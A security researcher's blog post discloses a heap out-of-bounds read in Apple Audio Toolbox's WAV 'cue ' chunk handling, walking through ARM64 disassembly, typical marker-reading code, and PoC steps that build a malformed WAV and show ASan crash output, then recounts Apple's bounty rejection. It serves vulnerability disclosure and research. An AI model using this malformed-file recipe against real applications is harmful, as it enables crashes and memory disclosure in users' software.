A bug in Apple Audio Toolbox that leads to heap OOB read

Jun 13, 2026

Last month, while testing HOBO BN MCP, I found two very similar vulnerabilities in macOS. I reported both to Apple Product Security through the Apple Security Bounty program — one report per vulnerability. Apple confirmed one of them, and I’m now waiting for a CVE and the update that will patch it. Once the patch ships, I’ll publish a detailed write-up about that one.

The second report was rejected: “We’re unable to identify a security issue in your report.” Well — “rejected” may not be quite the right word. In all likelihood, this second vulnerability will also be fixed in a future update, just silently, with no CVE and no bounty.

As I mentioned, the two vulnerabilities are very similar, so Apple Product Security’s call on the second one came as an unpleasant surprise. But I’m not going to argue with Apple in this post. Instead, I’ll walk through the second vulnerability in detail and, at the end, share a few thoughts on why Apple Product Security might not have identified it as a security issue.

Markers in audio files

Let me back up a bit and start with markers in audio files.

What are markers?

Markers are special timestamped reference points used to flag specific moments in an audio recording. They act as “bookmarks” — helping you navigate a track, simplifying editing, or automating transitions. Markers are metadata; they don’t change the recorded audio itself.

There’s no single standard, even on paper, that defines what metadata a marker can contain or how it’s encoded at the byte level. It all depends on the audio file format:

The world of audio formats is fairly chaotic. There’s a certain beauty in that, but it can cause real problems during development. An example follows in the next section.

Audio Toolbox and a typical pattern for reading markers

Suppose a developer needs to read markers from an audio file whose format isn’t known in advance. Sure, you could write a couple dozen parsers from scratch for the most commonly used audio formats — the hardcore path of a true samurai.

But for some reason, most people don’t rush down that road. Most developers reach for libraries written by someone else instead. On Apple’s operating systems (macOS / iOS / tvOS / …) it’s especially easy: there’s a system framework called Audio Toolbox. Among many other things, it provides two functions:

The typical pattern for using these two functions to read markers stays the same and gets copied from one project to another:

  1. Open the audio file.

  2. Call AudioFileGetPropertyInfo with kAudioFilePropertyMarkerList, passing the AudioFileID of the opened file. In return, the function tells us the buffer size required for an AudioFileMarkerList.

  3. Allocate a buffer of that size — sometimes on the stack, but more often on the heap, since a file can contain many markers and they may not fit on the stack. If you’re allocating in C++ new[] style and need a type-plus-count rather than an absolute size in bytes, use NumBytesToNumAudioFileMarkers to convert the byte size into a marker count.

  4. Call AudioFileGetProperty with kAudioFilePropertyMarkerList, passing:

    • the AudioFileID of the opened file
    • the address and size of the buffer we allocated for the AudioFileMarkerList

    In return, the function gives us:

    • the number of bytes actually written to the buffer
    • an AudioFileMarkerList object filled into that same buffer
  5. From here it’s straightforward. The AudioFileMarkerList has, among other fields, two we care about:

    • the number of markers read from the file: mNumberMarkers
    • the markers themselves: mMarkers, indexed from 0 to mNumberMarkers - 1

Here’s one possible implementation of this pattern in C:

/*
    Getting the size of a buffer for the marker list
    (afid is an AudioFileID handle for some opened audio file)
*/
UInt32 size = 0;
UInt32 writable = 0;
s = AudioFileGetPropertyInfo(afid, kAudioFilePropertyMarkerList, &size, &writable);
if (s != noErr || size == 0) {
    fprintf(
        stderr, "[FAIL] AudioFileGetPropertyInfo returned size=%u writable=%u OSStatus=%d\n",
        size, writable, (int)s
    );
    AudioFileClose(afid);
    return 1;
}

/*
    Allocating a buffer of the size we got
    by calling AudioFileGetPropertyInfo
*/
AudioFileMarkerList *list = malloc(size);
if (!list) {
    fprintf(stderr, "[FAIL] malloc(%u) returned NULL\n", size);
    AudioFileClose(afid);
    return 1;
}

/*
    Getting the list of markers
*/
UInt32 io = size;
s = AudioFileGetProperty(afid, kAudioFilePropertyMarkerList, &io, list);
printf(
    "[INFO] AudioFileGetProperty returned io=%u list->mNumberMarkers=%u OSStatus=%d\n\n",
    io, list->mNumberMarkers, (int)s
);

You’ll see code like this in many real-world projects. An example follows.

The pattern in a real-world project

For instance, AudioKit v4.11 (11.4k stars / 1.6k forks on GitHub) carries an in-house fork of EZAudio (5k stars / 817 forks on GitHub) under the hood. It contains the following Objective-C code:

// return the markers in this file. This will be a NSArray of
/// EZAudioFileMarkers for Swift compatibility
- (NSArray *)markers
{
    // get size of markers property (dictionary)
    UInt32 propSize;
    UInt32 writable;
    OSStatus error = noErr;

    error = AudioFileGetPropertyInfo(self.audioFileID,
                                     kAudioFilePropertyMarkerList,
                                     &propSize,
                                     &writable);

    // returning NULL is more useful when called from swift
    if (error != noErr) {
        return NULL;
    }

    size_t length = NumBytesToNumAudioFileMarkers(propSize);

    if (length == 0) {
        return NULL;
    }

    // allocate enough space for the markers.
    AudioFileMarkerList markerList[ length ];

    // pull marker list
    error = AudioFileGetProperty(self.audioFileID,
                                 kAudioFilePropertyMarkerList,
                                 &propSize,
                                 &markerList);
    if (error != noErr) {
        return NULL;
    }

    // NSLog(@"# of markers: %d\n", markerList->mNumberMarkers );

    // the native C structs aren't so friendly with Swift, so we'll load up an array instead
    NSMutableArray *array = [NSMutableArray arrayWithCapacity:markerList->mNumberMarkers];

    int i;
    for (i = 0; i < markerList->mNumberMarkers; i++) {
    ...

You can find similar code in other projects that work with audio markers. A GitHub code search for kAudioFilePropertyMarkerList will turn up plenty of examples.

If you’ve made it this far but still don’t see why you need to know so much about markers, the typical code patterns for handling them, or where any vulnerability could possibly fit in — bear with me one more section. Once we’ve covered the 'cue ' chunk in WAV, we’ll (finally!) get to the bugs in the Audio Toolbox code, and then to the vulnerability Apple declined.

The 'cue ' chunk in WAV (RIFF)

WAV files store their data in so-called “chunks.” To carry markers, the format defines a special 'cue ' chunk. At the byte level, the 'cue ' chunk has the following structure:

#define CueID 'cue '  /* chunk ID for Cue Chunk */

typedef struct {
  ID        chunkID;
  long      chunkSize;
  long      dwCuePoints;
  CuePoint  points[];
} CueChunk;

Where:

The 'cue ' chunk is optional, and a WAV file can contain at most one of them.

The Vulnerability in Audio Toolbox

We finally arrive at the bugs Apple’s developers introduced in Audio Toolbox, and at the vulnerability that follows from them.

Important note before we wade into the ARMv8-A assembly! All the machine code in this section, and all offsets within it, come from disassembling Audio Toolbox as it ships in dyld_shared_cache_arm64e on macOS 26.5.1 (the latest macOS at the time of writing this post):

/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
(sha256=2d5ec323938a842298610eb66a51e2307a2e10a220b26432672c7c4f8e7256a9)

The bug in WAVEAudioFile::GetMarkerListSize

The first bug HOBO BN MCP turned up sits in the undocumented method int64_t WAVEAudioFile::GetMarkerListSize(unsigned int*, unsigned int*) inside Audio Toolbox. This is the method that AudioFileGetPropertyInfo calls under the hood to compute the marker buffer size, when invoked with kAudioFilePropertyMarkerList and a WAV file.

The buffer size returned by this undocumented method is computed by the formula

8 + dwCuePoints * 0x28 (mod 2^32)

where dwCuePoints is read straight from the WAV file. The corresponding machine code:

int64_t WAVEAudioFile::GetMarkerListSize(unsigned int*, unsigned int*) + 208:

    ldr     w8, [sp, #0xc]   ; w8 = dwCuePoints (from the WAV file)
    mov     w9, #0x28        ; w9 = 40
    mov     w10, #0x8        ; w10 = 8
    madd    w8, w8, w9, w10  ; w8 = w8 * w9 + w10 <== 8 + dwCuePoints * 0x28 (mod 2^32)
    str     w8, [x19]        ; *bufferSize = w8

    ...

Once the buffer size is computed, the result should have been sanity-checked against — at the very least — chunkSize and the size of the WAV file itself. But the Audio Toolbox code does no such thing. The undocumented WAVEAudioFile::GetMarkerListSize, and AudioFileGetPropertyInfo on top of it, simply return whatever value the formula produced, as is. That lets a WAV file of less than 100 KB set dwCuePoints to 0xFFFFFFFF and trick AudioFileGetPropertyInfo into reporting a giant buffer size:

8 + 0xFFFFFFFF * 0x28 (mod 2^32) = 0xFFFFFFE0 ; 4 GiB - 32 bytes

The bug in WAVEAudioFile::GetMarkerList

The second Audio Toolbox bug lives in the undocumented method int64_t WAVEAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool). This method is called under the hood by AudioFileGetProperty to read markers into the supplied buffer, when invoked with kAudioFilePropertyMarkerList and a WAV file.

The relevant assembly:

int64_t WAVEAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) + 228:

    ; w8 = caller buffer size in bytes
    ldr     w8, [x20]

    ; w8 -= 8 (skip header)
    subs    w8, w8, #0x8

    ; w9 = 0xcccccccd
    mov     w9, #0xcccd
    movk    w9, #0xcccc, lsl #0x10  {0xcccccccd}

    ; x8 = w8 * w9 (UNSIGNED multiply)
    umull   x8, w8, w9

    ; x8 = x8 >> 37
    ; so
    ; w8 = (buffer size - 8) / 40 (UNSIGNED div by 0x28)
    lsr     x8, x8, #0x25

    ; if sz < 8 (UNSIGNED comparison), then w8 = 0
    csel    w8, wzr, w8, cc  {0x0}

    ; w9 = dwCuePoints (read from file)
    ldp     w23, w9, [sp, #0x38] {var_68} {var_68+0x4}

    ; SIGNED w26 = min(w9, w8)
    cmp     w9, w8
    csel    w26, w9, w8, lt

    ; outList->mSMPTE_TimeType = 0
    ; outList->mNumberMarkers  = w26
    stp     wzr, w26, [x21]  {0x0}

    ...

int64_t WAVEAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) + 324:

    ; SIGNED comparison and...
    cmp    w26, #0x1

    ; ...early-exit (skips marker writes)
    b.lt   0x186449b24    ; <+540>

    ...

int64_t WAVEAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) + 540:

    ; exit, no errors
    mov    w25, #0x0 ; =0

    ...

When a malicious WAV sets dwCuePoints with the high bit set (e.g. 0xFFFFFFFF):

  1. The signed min(fileN, bufCap) picks fileN (it looks negative):

    cmp     w9, w8
    csel    w26, w9, w8, lt
    
  2. outList->mNumberMarkers is committed to the caller-visible struct as that huge value:

    ; outList->mSMPTE_TimeType = 0
    ; outList->mNumberMarkers  = w26
    stp     wzr, w26, [x21]  {0x0}
    
  3. The signed < 1 short-circuit then skips the per-marker write loop — so no buffer overflow occurs inside this function:

    ; SIGNED comparison and...
    cmp    w26, #0x1
    
    ; ...early-exit (skips marker writes)
    b.lt   0x186449b24    ; <+540>
    
  4. The function returns noErr:

    ; exit, no errors
    mov    w25, #0x0 ; =0
    

So the undocumented WAVEAudioFile::GetMarkerList, and through it AudioFileGetProperty, report an incorrect — far larger than what fits in the buffer — number of markers in the mNumberMarkers field of the returned AudioFileMarkerList. And once again, the Audio Toolbox code doesn’t even try to check whether that many markers could possibly fit inside the 'cue ' chunk, let alone inside the WAV file as a whole.

Bugs + typical usage pattern = heap OOB read

So what happens if a WAV file has dwCuePoints set to 0xFFFFFFFF and we try to read markers from it through AudioFileGetPropertyInfo / AudioFileGetProperty? Knowing the bugs from the previous sections, and knowing the typical usage pattern for these two functions, the sequence is easy to predict:

  1. We call AudioFileGetPropertyInfo first, and it returns a buffer size of 0xFFFFFFE0 — a mere 32 bytes short of 4 GiB!

  2. If we then try to allocate a buffer of that size on the stack, the way AudioKit does, this most likely ends in DoS.

    On the heap, however, an allocation of that size usually doesn’t cause a DoS — at least not on reasonably modern hardware. On my MacBook Air M1 2021 with 8 GiB of RAM, the malloc call goes through fine, the memory gets committed, and execution carries on.

  3. Next we call AudioFileGetProperty, passing in the buffer size we just got. The call hands us back an AudioFileMarkerList object with mNumberMarkers equal to 4294967295. Fitting that many markers would require a buffer of roughly 160 GiB — about 156 GiB more than our miserable ~4 GiB.

And now, what happens if we try to grab the last marker from the mMarkers[] array of our AudioFileMarkerList object? A heap OOB read happens — because the address of that last element lands far past the end of the buffer we allocated. The PoC in the next section demonstrates exactly this scenario.

PoC

This part is straightforward:

  1. Make sure your host is running the latest macOS (26.5.1 at the time of writing this post).

  2. Make sure you have Python 3.6+ and clang installed.

  3. Clone the PoC from GitHub:

    git clone https://github.com/altvist/apple-audio-toolbox-oob-read-poc.git
    
  4. Generate a minimal malformed WAV that triggers the bug:

    cd apple-audio-toolbox-oob-read-poc/poc/
    python3 make_bad_wav.py bad_cue.wav
    

    The expected result is bad_cue.wav in poc/.

  5. Build the minimal PoC harness with ASan:

    clang -fsanitize=address -g -O0 poc_get_marker_list.c \
        -framework AudioToolbox -framework CoreFoundation \
        -o poc_get_marker_list
    

    The expected result is poc_get_marker_list in poc/.

Now you can run the PoC:

./poc_get_marker_list bad_cue.wav

I deliberately wrote the PoC so that it explains what’s happening inside as it runs. You should see something along the lines of:

== STEP #1 ==

Getting file path from the command line by calling
  CFURLRef url = CFURLCreateFromFileSystemRepresentation(NULL, (const UInt8 *)argv[1], strlen(argv[1]), false)... DONE

== STEP #2 ==

Opening the file by calling AudioFileOpenURL(url, kAudioFileReadPermission, 0, &afid)... DONE

AudioFileOpenURL returned afid=0x9eff000 OSStatus=0

We have opened the file!

== STEP #3 ==

Getting the size of the buffer for the marker list by calling
  AudioFileGetPropertyInfo(afid, kAudioFilePropertyMarkerList, &size, &writable)... DONE

AudioFileGetPropertyInfo returned size=4294967264 writable=1 OSStatus=0

AudioFileGetPropertyInfo told us the buffer size for the list of markers should be 4294967264 bytes!

== STEP #4 ==

Allocating buffer of size=4294967264 bytes (exactly the size AudioFileGetPropertyInfo told us)
by calling AudioFileMarkerList *list = malloc(size)... DONE

We've allocated the buffer [0x300004800 ... 0x4000047e0] for the marker list of the size 4294967264 bytes
(exactly the size AudioFileGetPropertyInfo told us). So far so good.

== STEP #5 ==

Getting the list of markers by calling
  AudioFileGetProperty(afid, kAudioFilePropertyMarkerList, &io, list)
with io=size and the allocated buffer for marker list (see previous steps)... DONE

AudioFileGetProperty returned io=4294967264 list->mNumberMarkers=4294967295 OSStatus=0

On Step #3, AudioFileGetPropertyInfo told us the buffer size for the
list of markers should be 4294967264 bytes (see above), so we allocated the buffer.
Moreover, AudioFileGetProperty has just told us that 4294967264 bytes were read to the buffer.

IMPORTANT! At the same time, AudioFileGetProperty has just told us that the number of
the markers in the buffer is list->mNumberMarkers=4294967295. Each marker is sizeof(AudioFileMarker)=40 bytes.
So, the size of the buffer for the list of markers should be at least
  sizeof(AudioFileMarkerList) + (mNumberMarkers - 1) * sizeof(AudioFileMarker)
or approximately 8 + 40 * 4294967295 = 171798691808 bytes.
This is 167503724544 bytes more than the size of the buffer we allocated.

== STEP #6 ==

To demonstrate OOB read, let's try to access the last element of the buffer list:

  list->mMarkers[list->mNumberMarkers - 1]

The address of the last element is so far over the end of the buffer
AudioFileGetPropertyInfo told us to allocate that ASan will report
"BUS on unknown address" instead of the usual OOB message: the address is
far from any mapped memory region, which demonstrates how large this OOB read
is and makes the vulnerability even more serious.

AddressSanitizer:DEADLYSIGNAL
=================================================================
==40703==ERROR: AddressSanitizer: BUS on unknown address (pc 0x00018366b504 bp 0x00016d322990 sp 0x00016d322140 T0)
==40703==The signal is caused by a READ memory access.
==40703==Hint: this fault was caused by a dereference of a high value address (see register values below).  Disassemble the provided pc to learn which register was used.
    #0 0x00018366b504 in _platform_memmove+0x1a4 (libsystem_platform.dylib:arm64e+0x3504)
    #1 0x000102add284 in main poc_get_marker_list.c:158
    #2 0x0001832a3dfc in start+0x1b4c (dyld:arm64e+0x1fdfc)

==40703==Register values:
 x[0] = 0x000000016d322b88   x[1] = 0x0000002b000047b8   x[2] = 0x0000000000000020   x[3] = 0x000000016d322b88  
 x[4] = 0x0000000102ade140   x[5] = 0x000000016d3229a0   x[6] = 0x000000016cb28000   x[7] = 0x0000000000000001  
 x[8] = 0x000000702da84575   x[9] = 0x000000016d322baf  x[10] = 0x000000702da84571  x[11] = 0x000000002da64571  
x[12] = 0x000000002da64575  x[13] = 0x0000000000000000  x[14] = 0x0000000000000000  x[15] = 0x0000000000000000  
x[16] = 0x000000018366b360  x[17] = 0x0000000103558548  x[18] = 0x0000000000000000  x[19] = 0x0000002b000047b8  
x[20] = 0x00000001ef52c100  x[21] = 0x0000000104749780  x[22] = 0x0000000000000000  x[23] = 0x00000001ef7e3760  
x[24] = 0x0000000000000001  x[25] = 0x000000016d322e10  x[26] = 0x00000001ef7e3770  x[27] = 0x0000000000000000  
x[28] = 0x0000000000000000     fp = 0x000000016d322990     lr = 0x00000001034ea97c     sp = 0x000000016d322140  
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: BUS (libsystem_platform.dylib:arm64e+0x3504) in _platform_memmove+0x1a4
==40703==ABORTING
zsh: abort      ./poc_get_marker_list bad_cue.wav

Notice how far the last element of mMarkers is from the end of the allocated buffer — far enough that ASan reports “BUS on unknown address” instead of a regular OOB read.

How dangerous is this vulnerability?

From an attacker’s perspective, this vulnerability has several attractive properties:

On the other hand, there are real limitations:

And, in principle, developers don’t have to take AudioFileGetPropertyInfo and AudioFileGetProperty purely on faith — they could add a few sanity checks of their own (does it really make sense for a 100 KB WAV file to claim 4,294,967,295 markers?). Even basic checks on the side of the code calling the functions from Audio Toolbox could have prevented an attacker from exploiting this vulnerability in any meaningful way.

But across the dozen-or-so audio software projects I went through, I didn’t find a single one doing that — they all followed the typical pattern from above, with only minor variations. I’m not blaming the developers here at all. They trust Apple and assume that Audio Toolbox works the way it is described in the official documentation.

Filing a Bug Report via Apple Security Bounty

At the start of this post I mentioned that I reported the vulnerability to Apple. In this section I’ll briefly walk through the timeline of what happened, and offer a few thoughts on why my report was rejected.

A few words about Apple Security Bounty

Apple Security Bounty is a fairly primitive (and, ironically, somewhat buggy) issue tracker located at https://security.apple.com/. Anyone with an Apple ID can log in and file a bug report.

“Filing a bug report” means creating an issue in this tracker and describing the vulnerability in free-form text. From there, Apple Product Security takes over, the issue starts moving through statuses, and you watch it go. You can also leave comments in the issue, clarify details, and ask Apple Product Security questions (they even answer sometimes).

In theory, every change in your issue — status update, new comment, and so on — is supposed to come with an email notification. In practice, the notifications often break, so you end up logging into the tracker by hand from time to time just to check for updates. That’s why some of the dates in the timeline below are when I logged in and saw the update, not necessarily when it actually happened.

Timeline

Which is the post you’re reading right now.

Update from Jun 15, 2026 (2 days after the publication of this post):

SSDD 🤷‍♂️

Why Apple rejected the report

Honestly, I don’t know. I only have a few guesses:

  1. Apple isn’t particularly bothered by a DoS or OOB read that occurs outside of code Apple itself wrote (even if code Apple did write is the direct cause of that OOB read).
  2. The niche attack surface, combined with the fact that this vulnerability on its own isn’t enough for something “big” like RCE, significantly lowers its value in the eyes of Apple Product Security.
  3. There are criteria and/or random factors at play during bug report review that I can’t even begin to imagine — in which case guessing is pointless.

Whether any of these guesses is correct — who knows.

Thanks

English isn’t my native language, so thanks to Claude for the help with translating and editing this post.

Experience is what you get when you didn’t get what you wanted. Thanks to Apple Product Security for the interesting experience — I’ll definitely write a separate post about it and share what I took away.

And thanks to the reader who made it all the way through — for your patience.

So it goes.

This is a personal website, it is not affiliated with any franchise, brand, or organization. All opinions are the author’s own. Information is provided for educational and research purposes only; see the Disclaimer for details. The website uses software, assets, and hosting listed on the Credits page.